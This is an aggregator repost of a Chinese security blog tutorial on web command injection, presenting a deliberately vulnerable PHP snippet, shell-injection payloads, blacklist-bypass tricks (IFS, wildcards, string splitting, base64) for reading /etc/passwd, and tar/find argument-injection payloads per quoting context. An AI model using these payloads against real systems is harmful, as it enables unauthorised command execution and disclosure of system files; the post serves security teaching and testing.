3

Web安全之命令注入漏洞 | UltramanGaia's Blog

 2 years ago
source link: http://ultramangaia.github.io/blog/2018/Web%E5%AE%89%E5%85%A8%E4%B9%8B%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Web安全之命令注入漏洞

发布时间 : 2018-04-08 19:56

Web开发中大量需求需要执行外部命令,且往往需要拼接用户提供的数据作为命令的一部分。攻击者通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
命令注入可以大致分为两类:Shell解析与参数注入

1. Shell解析

shell解析场景指的是拼接部分内容会被shell解析(sh/bash/cmd.exe),这种执行外部命令的场景使用起来比较灵活。同样的,在漏洞利用方式上也有非常多技巧。

Linux

example

<?php
system('ls '.$_GET['cmd']);
?>
cmd.php?cmd=;id
cmd.php?cmd=|id
cmd.php?cmd=%26id      %26 -> &
cmd.php?cmd=%0aid   %0a ->换行
下面两种利用方式也可以,但是有限制,很少用
cmd.php?cmd=||id   要求前面命令执行失败
cmd.php?cmd=%26%26 要求前面命令执行成功
cmd.php?cmd=`id`
cmd.php?cmd=$(id)

<绕过空格(受限)

cat</etc/passwd

$IFS$9绕过空格

cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
这里$9的作用为插入空值,用于分隔,可以替换为$1-9,$@,'',"",``等

通配符绕过

/???/c?t/p??swd 代替 /bin/cat /etc/passwd
/???/n? 代替 /bin/nc

字符串拼接绕过

/'b'i''n/'c''at' /e't'c/p''as''sw'd'
也可以采用插入空值
/bin/cat /etc/pa``sswd
/bin/cat /etc/pa$9sswd

续行符\绕过

\c\a\t \/\e\t\c\/\p\a\s\s\w\d
可加换行
c\
at /etc/passwd

变量拼接绕过黑名单

a=l;b=s;$a$b

base64编码绕过黑名单

 `echo "Y2F0IC9ldGMvcGFzc3dkCg=="|base64 -d`

Windows

2. 参数注入

tar cf 1.tar 1.txt --checkpoint=1 --checkpoint-action=exec=id
find . -exec ls {} ;
#ps: 命令中的;是作为find参数的一部分,如果在命令行中测试,需要进行转义 \;

3. 场景与探测方案

应该用什么Payload探测是否存在命令注入?
正则限制输入字符集后,最少存在哪些字符实现任意命令执行?

Shell解析,直接拼接

<?php
system('ls '.$_GET['cmd']);
?>
  • 可用字符:`

      `cmd`
  • 可用字符:;

    ;cmd
  • 可用字符:|

      |cmd
  • 可用字符:&

      &cmd
  • 可用字符:\n

      %0acmd
  • 可用字符:$()

      $(cmd)

Shell解析,直接拼接,双引号包围

  • 可用字符:`

    `cmd`
  • 可用字符:$()

    $(cmd)
  • 可用字符:"+;"+|"+&"+\n

    ";cmd"
    "|cmd"
    "&cmd"
    "%0acmd"

Shell解析,直接拼接,单引号包围

  • 可用字符:'+`'+$()'+;'+|'+&'+\n

    '`cmd`'
    '$(cmd)'
    ';cmd'
    '|cmd'
    '&cmd'
    '%0acmd'
  • 可用字符:-

    考虑参数注入


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK